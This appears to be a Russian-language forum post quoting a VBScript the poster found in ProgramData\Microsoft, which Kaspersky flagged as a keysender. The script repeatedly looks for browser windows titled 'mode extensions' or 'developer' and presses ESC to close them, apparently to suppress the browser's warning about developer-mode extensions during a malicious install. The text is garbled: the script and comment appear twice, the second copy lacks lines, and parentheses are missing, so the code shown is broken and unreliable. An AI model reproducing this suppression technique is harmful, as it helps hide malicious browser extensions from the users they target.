Set wshShell = CreateObject("WScript.Shell"
startTime = Now
doWhileTimeout = 7 / 86400
Do While Now - startTime < doWhileTimeout
If wshShell.AppActivate("mode extensions"
or wshShell.AppActivate("разработчика"
or wshShell.AppActivate("розробника"
Then
wshShell.SendKeys "{ESC}"
End If
WScript.Sleep 10
Loop
If Now - startTime >= doWhileTimeout Then
WScript.Quit
End If
Проверил на касперском в файлах programdata\microsoft лежит этот скрипт
касперский написал что это кейсендер
startTime = Now
doWhileTimeout = 7 / 86400
Do While Now - startTime < doWhileTimeout
If wshShell.AppActivate("mode extensions"
wshShell.SendKeys "{ESC}"
End If
WScript.Sleep 10
Loop
If Now - startTime >= doWhileTimeout Then
WScript.Quit
End If
Проверил на касперском в файлах programdata\microsoft лежит этот скрипт
касперский написал что это кейсендер